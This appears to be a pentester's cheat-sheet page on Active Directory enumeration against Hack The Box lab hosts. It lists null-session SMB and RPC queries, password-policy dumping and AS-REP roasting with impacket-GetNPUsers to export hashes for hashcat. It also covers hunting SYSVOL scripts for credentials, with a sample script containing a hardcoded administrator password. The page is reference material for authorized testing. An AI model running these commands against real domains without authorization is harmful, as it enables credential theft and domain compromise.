# Misc
## Enum4linux
Pull a lot of information out of the Domain Controller using enum4linux
```bash
enum4linux 10.10.10.161
```
## Password Policy enumeration
```bash
crackmapexec smb 10.10.10.161 -u '' -p '' --pass-pol
```
{% hint style="info" %}
Put in the report that null authentication allows for domain enumeration
{% endhint %}
## RPCClient
```bash
rpcclient -U '' 10.10.10.161
enumdomusers
queryusergroups [rid]
queryuser [rid]
querygroup [rid]
```
## GetNPUsers
Queries target domain for users with **'Do not require Kerberos preauthentication'** set and export their TGTs for cracking
```bash
impacket-GetNPUsers -dc-ip 10.10.10.161 -request htb.local/ -format hashcat
```
```bash
hashcat --example-hashes | grep -i krb
hashcat --example-hashes | less
```
## Credentials inside SYSVOL
Credentials may be stored inside of a script in the **SYSVOL** of the domain controller. Can happen on old AD environments.
Anyone with domain credentials can access the **SYSVOL**. To assign default local admin credentials LAPS is now used instead of scripts via Group Policy
```
dir \\conda.local\SYSVOL\conda.local
```
Example path: **\\\conda.local\SYSVOL\conda.local\Policies{EA3B53C1-DDB1-4E62-818F-B7E7933A4E44}\Machine\Scripts\Startup\Set-Password.ps1**
```
C:\Windows\system32>type \\conda.local\SYSVOL\conda.local\Policies\{EA3B53C1-DDB1-4E62-818F-B7E7933A4E44}\Machine\Scripts\Startup\Set-Password.ps1
type \\conda.local\SYSVOL\conda.local\Policies\{EA3B53C1-DDB1-4E62-818F-B7E7933A4E44}\Machine\Scripts\Startup\Set-Password.ps1
$computer=$env:computername
$user = "Administrator"
$Password = "DefaultAdminPass1!"
$user = [adsi]"WinNT://$computer/$user,user"
$user.SetPassword($Password)
net user administrator /active:yes
```
## SMB and RPC Null Authentication
```
smbclient -L \\\\10.10.10.100\\ -U '' -N
```
```
rpcclient -U '' -N 10.10.10.169
```
## Notes
{% hint style="info" %}
If the SID of a group is more than 500 or above 1000 then it is not a default Windows group and was created
{% endhint %}
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